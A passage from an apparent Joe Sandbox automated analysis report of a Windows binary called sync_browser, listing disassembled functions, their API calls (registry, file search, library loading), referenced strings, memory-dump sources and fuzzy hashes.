Instruction Fuzzy Hash: 2B311D3590CB8A85E760BB55F8603A9B3A0FB44B54F901037D58D87769EF7CE444CB22

Function 00007FF7E5075910 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E5075944
FindFirstFileA.KERNEL32 ref: 00007FF7E50759E2

Strings

*.dsm, xrefs: 00007FF7E50759C1

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: File$FindFirstModuleName
String ID: *.dsm
API String ID: 1519589655-1970359449
Opcode ID: 5ec88052d5adebc3db2df3dc82cb1158468950cb75ad4b7486c7f1220c09e049
Instruction ID: 320da5a49b54d6e4cad4dbb97f4e2fd0260a4b3ebf466b983ab64b51e3d1db61
Opcode Fuzzy Hash: 5ec88052d5adebc3db2df3dc82cb1158468950cb75ad4b7486c7f1220c09e049
Instruction Fuzzy Hash: 7731452560868995EB60AB34B8543FBA390FB48BB4F805336DA7D836D8EE3CD505C711

Function 00007FF7E50C77F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 53registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507D390: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D3BB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7840
RegQueryValueExA.ADVAPI32 ref: 00007FF7E50C787D
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C78AF

Strings

admin, xrefs: 00007FF7E50C7836
admin_auth, xrefs: 00007FF7E50C78A5
UseRegistry, xrefs: 00007FF7E50C782F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfile$FileModuleNameQueryValue
String ID: UseRegistry$admin$admin_auth
API String ID: 1028385882-3376419731
Opcode ID: d5f9d5c0af733a8a18aaad5fcf10d0583086e22d43d578638aeb5c775166167f
Instruction ID: 377e16779f643257df692fd2b7d6d841aca463f758e09a2badd70a901618d0b7
Opcode Fuzzy Hash: d5f9d5c0af733a8a18aaad5fcf10d0583086e22d43d578638aeb5c775166167f
Instruction Fuzzy Hash: A2215631618A4AC1EB60DB20F8647AAB3A0FB89B94FC01036FA4D83B58DF3DD545CB51

Function 00007FF7E50C7750 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 30registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507D390: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D3BB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7789
RegCloseKey.ADVAPI32 ref: 00007FF7E50C77A0
RegCloseKey.ADVAPI32 ref: 00007FF7E50C77B2
RegCloseKey.ADVAPI32 ref: 00007FF7E50C77C4

Strings

admin, xrefs: 00007FF7E50C777F
UseRegistry, xrefs: 00007FF7E50C7778

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Close$FileModuleNamePrivateProfile
String ID: UseRegistry$admin
API String ID: 3032973919-2802730080
Opcode ID: f394e00a07ad10370d3a9fb3f4169cee617936cad869a8b398f64821c48fdab7
Instruction ID: b89a1c1252df8805c41515d19df1289bff6a9518ccdd328b58b09dc1be3b90ad
Opcode Fuzzy Hash: f394e00a07ad10370d3a9fb3f4169cee617936cad869a8b398f64821c48fdab7
Instruction Fuzzy Hash: A8010825A19A0A81FE62BB24F8743B9A360FF89F54FC01137D90E82568DF3CE514C672

Function 00007FF7E51347E4 Relevance: 9.1, APIs: 6, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7E5134851
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7E5134869
RtlVirtualUnwind.KERNEL32 ref: 00007FF7E51348A3
IsDebuggerPresent.KERNEL32 ref: 00007FF7E51348D9
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7E51348E3
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7E51348EE

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: cab22b7f63e68bd4fe1f659d6095baf5ecdb6c5b170d8f81b70fd2e30acf9a7e
Instruction ID: ce527f5dcef28025c71df4e93ff6693ea36b51458934c53bb3826c190ba64891
Opcode Fuzzy Hash: cab22b7f63e68bd4fe1f659d6095baf5ecdb6c5b170d8f81b70fd2e30acf9a7e
Instruction Fuzzy Hash: E9318732618B8685D720DF25F8643AEB3A0FB84B54F910136EA9D83B58DF7CC545CB11

Function 00007FF7E50A48B0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32 ref: 00007FF7E50A4915

Strings

0, xrefs: 00007FF7E50A49B7

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Iconic
String ID: 0
API String ID: 110040809-4108050209
Opcode ID: ada12bffe0504ce749bfb447d148339bb7949db47e61c86c1c89a82587fb054e
Instruction ID: 245091ea8fe2d6400510e1dbc0eef2c19294d864ed650804f8a58f07779d6a39
Opcode Fuzzy Hash: ada12bffe0504ce749bfb447d148339bb7949db47e61c86c1c89a82587fb054e
Instruction Fuzzy Hash: 4AA1AB366042858BE7589F39D5507ACF7E0FB48F54F54803AEB49C7289DB38E864CB22

Function 00007FF7E50C7D50 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507D390: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D3BB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7D89

Part of subcall function 00007FF7E50C7650: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7689
Part of subcall function 00007FF7E50C7650: RegCreateKeyExA.ADVAPI32 ref: 00007FF7E50C76DD
Part of subcall function 00007FF7E50C7650: RegCreateKeyExA.ADVAPI32 ref: 00007FF7E50C7722

Part of subcall function 00007FF7E50C78E0: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C792E
Part of subcall function 00007FF7E50C78E0: RegQueryValueExA.ADVAPI32 ref: 00007FF7E50C796A
Part of subcall function 00007FF7E50C78E0: RegQueryValueExA.ADVAPI32 ref: 00007FF7E50C79B2

Strings

group3, xrefs: 00007FF7E50C7DAC, 00007FF7E50C7DE3
admin, xrefs: 00007FF7E50C7D7F
UseRegistry, xrefs: 00007FF7E50C7D78

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfile$CreateQueryValue$FileModuleName
String ID: UseRegistry$admin$group3
API String ID: 1728753321-3776872688
Opcode ID: da8d5682ec0159b53c6e6ac02bc9a146a6fe897d91bd88be9db6412787fbbace
Instruction ID: 7bbdcdc64745bc88db493a489ba394dfcce9c96eedf9904d90e38c23dda334e5
Opcode Fuzzy Hash: da8d5682ec0159b53c6e6ac02bc9a146a6fe897d91bd88be9db6412787fbbace
Instruction Fuzzy Hash: 8C111225E1854A81EA61FB34F4713F9A360FF89B44FC00037E64D8666ADE3CE104CB61

Function 00007FF7E50C7EB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507D390: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D3BB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7EED

Part of subcall function 00007FF7E50C7650: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7689
Part of subcall function 00007FF7E50C7650: RegCreateKeyExA.ADVAPI32 ref: 00007FF7E50C76DD
Part of subcall function 00007FF7E50C7650: RegCreateKeyExA.ADVAPI32 ref: 00007FF7E50C7722

Part of subcall function 00007FF7E50C77F0: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7840
Part of subcall function 00007FF7E50C77F0: RegQueryValueExA.ADVAPI32 ref: 00007FF7E50C787D

Strings

admin, xrefs: 00007FF7E50C7EE3
UseRegistry, xrefs: 00007FF7E50C7EDC
locdom2, xrefs: 00007FF7E50C7F06, 00007FF7E50C7F1F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfile$Create$FileModuleNameQueryValue
String ID: UseRegistry$admin$locdom2
API String ID: 1788981264-80830018
Opcode ID: 453e7d21788d8a281cd3351b72fc90b6b80e6296ed96c2d368ba72f2aba873be
Instruction ID: a52a83173d50123e7d4f167381442a9382a4988487f21ea5ea1440b55f502b1e
Opcode Fuzzy Hash: 453e7d21788d8a281cd3351b72fc90b6b80e6296ed96c2d368ba72f2aba873be
Instruction Fuzzy Hash: 51017125E1854E81FA21FB34B4B53BA9391EF99B04FC00437E50DC559ADE3CE105C672

Function 00007FF7E50C7E10 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507D390: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D3BB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7E50

Part of subcall function 00007FF7E50C7650: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7689
Part of subcall function 00007FF7E50C7650: RegCreateKeyExA.ADVAPI32 ref: 00007FF7E50C76DD
Part of subcall function 00007FF7E50C7650: RegCreateKeyExA.ADVAPI32 ref: 00007FF7E50C7722

Part of subcall function 00007FF7E50C77F0: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7840
Part of subcall function 00007FF7E50C77F0: RegQueryValueExA.ADVAPI32 ref: 00007FF7E50C787D

Strings

locdom1, xrefs: 00007FF7E50C7E69, 00007FF7E50C7E82
admin, xrefs: 00007FF7E50C7E46
UseRegistry, xrefs: 00007FF7E50C7E3F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfile$Create$FileModuleNameQueryValue
String ID: UseRegistry$admin$locdom1
API String ID: 1788981264-2648182776
Opcode ID: 90366ba7cc0c0a2881363750c1573ef4067fd92e56bfccd46d2f838935763d96
Instruction ID: 057673f485af0db4113077fda8ce579aae7a6361a5cfb27b2147037615542b67
Opcode Fuzzy Hash: 90366ba7cc0c0a2881363750c1573ef4067fd92e56bfccd46d2f838935763d96
Instruction Fuzzy Hash: 70014C25A1854E81FB61BB38E4B53B5A351EF49B04FC0003BE50DC629ADE3CE548C662

Function 00007FF7E50C7F50 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507D390: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D3BB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7F8D

Part of subcall function 00007FF7E50C7650: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7689
Part of subcall function 00007FF7E50C7650: RegCreateKeyExA.ADVAPI32 ref: 00007FF7E50C76DD
Part of subcall function 00007FF7E50C7650: RegCreateKeyExA.ADVAPI32 ref: 00007FF7E50C7722

Part of subcall function 00007FF7E50C77F0: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7840
Part of subcall function 00007FF7E50C77F0: RegQueryValueExA.ADVAPI32 ref: 00007FF7E50C787D

Strings

admin, xrefs: 00007FF7E50C7F83
locdom3, xrefs: 00007FF7E50C7FA6, 00007FF7E50C7FBF
UseRegistry, xrefs: 00007FF7E50C7F7C

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfile$Create$FileModuleNameQueryValue
String ID: UseRegistry$admin$locdom3
API String ID: 1788981264-1943432916
Opcode ID: 9d8487c70b1b00fa5a82c873ed5b00f7b51de020590ec98eeb4ab258b7261688
Instruction ID: 1be9c55e445ea2b4be0c3815375e1aa450ca528e07c591ff84a6554e2a9789cf
Opcode Fuzzy Hash: 9d8487c70b1b00fa5a82c873ed5b00f7b51de020590ec98eeb4ab258b7261688
Instruction Fuzzy Hash: 49015E25A1854E81FA61FB34B4B13BAE391EF99B04FC00437E50DC659ADE3CE145C672

Function 00007FF7E509C210 Relevance: 6.0, APIs: 4, Instructions: 41fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF7E509C23F
FindFirstFileA.KERNEL32 ref: 00007FF7E509C24F
SetErrorMode.KERNEL32 ref: 00007FF7E509C25A
FindClose.KERNEL32 ref: 00007FF7E509C26D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorFindMode$CloseFileFirst
String ID:
API String ID: 2885216544-0
Opcode ID: 0223ee3f43c164e8854e7b1b386b18195b9e4c924526049b6427bad48412c67f
Instruction ID: 370f3c4ce269f2cd066d5b8ec976414286e915b68b50d50b4e428a8de09a26eb
Opcode Fuzzy Hash: 0223ee3f43c164e8854e7b1b386b18195b9e4c924526049b6427bad48412c67f
Instruction Fuzzy Hash: DE016935B0874986DA609B25B4543AAA361F74DFE0F805231EE6D83798DE3DD8458B10

Function 00007FF7E5075A60 Relevance: 50.9, APIs: 17, Strings: 12, Instructions: 154libraryloaderfileCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E5075AAE
GetModuleFileNameA.KERNEL32 ref: 00007FF7E5075B07
LoadLibraryA.KERNEL32 ref: 00007FF7E5075B84
GetProcAddress.KERNEL32 ref: 00007FF7E5075BA8
GetProcAddress.KERNEL32 ref: 00007FF7E5075BC3
GetProcAddress.KERNEL32 ref: 00007FF7E5075BDE
GetProcAddress.KERNEL32 ref: 00007FF7E5075BF9
GetProcAddress.KERNEL32 ref: 00007FF7E5075C14
GetProcAddress.KERNEL32 ref: 00007FF7E5075C2F
GetProcAddress.KERNEL32 ref: 00007FF7E5075C4A
GetProcAddress.KERNEL32 ref: 00007FF7E5075C65
GetProcAddress.KERNEL32 ref: 00007FF7E5075C80
GetProcAddress.KERNEL32 ref: 00007FF7E5075C9B
GetProcAddress.KERNEL32 ref: 00007FF7E5075CB6
GetProcAddress.KERNEL32 ref: 00007FF7E5075CD1
FreeLibrary.KERNEL32 ref: 00007FF7E5075D33
DeleteFileA.KERNEL32 ref: 00007FF7E5075D49

Strings

TransformBuffer, xrefs: 00007FF7E5075C21
Startup, xrefs: 00007FF7E5075BB5
RestoreBuffer, xrefs: 00007FF7E5075C3C
GetParams, xrefs: 00007FF7E5075C06
Config, xrefs: 00007FF7E5075CC3
FreeBuffer, xrefs: 00007FF7E5075C57
CreateIntegratedPluginInterface, xrefs: 00007FF7E5075CA8
CreatePluginInterface, xrefs: 00007FF7E5075C8D
Shutdown, xrefs: 00007FF7E5075BD0
Description, xrefs: 00007FF7E5075BA1
SetParams, xrefs: 00007FF7E5075BEB
Reset, xrefs: 00007FF7E5075C72

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FileLoad$DeleteFreeModuleName
String ID: Config$CreateIntegratedPluginInterface$CreatePluginInterface$Description$FreeBuffer$GetParams$Reset$RestoreBuffer$SetParams$Shutdown$Startup$TransformBuffer
API String ID: 1650122287-1031704962
Opcode ID: 2e3427beeea8e7963a578434a2b2276026c969c33777596d628f9c5fe35e2b15
Instruction ID: 5a2a75b5337e242b690f611eafd48c38befcc1bc02ef5961323686725cc35137
Opcode Fuzzy Hash: 2e3427beeea8e7963a578434a2b2276026c969c33777596d628f9c5fe35e2b15
Instruction Fuzzy Hash: A9811031608A8A81EB21EF20E4643FD63A0FB49F99F845136DD5D87298EF7CD645C721

Function 00007FF7E50A0D40 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 239windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF7E50A0D8E
